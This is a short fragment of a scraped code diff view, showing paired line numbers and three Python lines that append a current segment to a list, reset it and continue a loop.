|
1160
1121
|
segments.append(current)
|
|
1161
1122
|
current = []
|
|
1162
1123
|
continue
|